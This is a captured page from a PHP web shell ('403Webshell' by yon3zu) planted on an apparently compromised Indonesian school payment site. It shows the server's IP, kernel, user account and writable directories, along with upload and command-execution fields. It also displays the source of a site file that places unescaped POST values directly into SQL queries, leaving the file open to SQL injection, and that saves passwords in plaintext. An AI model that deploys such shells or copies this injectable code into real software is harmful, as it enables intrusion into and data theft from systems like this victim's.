403Webshell
Server IP : 216.106.184.20  /  Your IP : 216.73.216.234
Web Server : LiteSpeed
System : Linux asmodeus.in-hell.com 5.14.0-570.58.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 29 06:24:11 EDT 2025 x86_64
User : sekoaid1 ( 1891)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sekoaid1/spp.raudhatulfalah.sch.id/mts/admin/com_laporan/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/sekoaid1/spp.raudhatulfalah.sch.id/mts/admin/com_laporan/cetak_aksi.php
<?php
error_reporting(0);
include '../../config/conn.php';
$module = $_GET['module'];
$act    = $_GET['act'];	

  if ( $module = 'nasabah' AND $act =='simpan') { 
    mysqli_query($conn,"INSERT INTO nasabah(id_nasabah,
                                  no_rekening,
                                  nama,
                                  alamat,
                                  id_kelas,
                                  tempat_lahir,
                                  tanggal_lahir,
                                  orang_tua,
                                  status) VALUES('$_POST[id]',
                                                 '$_POST[no_rekening]',
                                                 '$_POST[nama]',
                                                 '$_POST[alamat]',
                                                 '$_POST[kelas]',
                                                 '$_POST[tempat_lahir]',
                                                 '$_POST[tanggal_lahir]',
                                                 '$_POST[orang_tua]',
                                                 '$_POST[status]')");

    echo "<script language='javascript'>document.location='../../?module=".$module."';</script>";
  }elseif ($module = 'nasabah' AND $act =='edit') {
  	$password   = md5($_POST[password]);
    if (empty($_POST['password'])) {
    mysqli_query($conn,"UPDATE pegawai SET nama = '$_POST[nama]',
                                    alamat = '$_POST[alamat]',
                                    no_telp = '$_POST[telephone]',
                                    username = '$_POST[username]',
                                    level = '$_POST[level]',
                                    status = '$_POST[status]' 
                                    WHERE id_pegawai = '$_POST[id]'");

    }else{
    mysqli_query($conn,"UPDATE pegawai SET nama = '$_POST[nama]',
                                    alamat = '$_POST[alamat]',
                                    no_telp = '$_POST[telephone]',
                                    username = '$_POST[username]',
                                    password = '$_POST[password]',
                                    level = '$_POST[level]',
                                    status = '$_POST[status]' 
                                    WHERE id_pegawai = '$_POST[id]'");  
    }  
    echo "<script language='javascript'>
        document.location='../../?module=".$module."';
        </script>";
  }
?>

Youez - 2016 - github.com/yon3zu
LinuXploit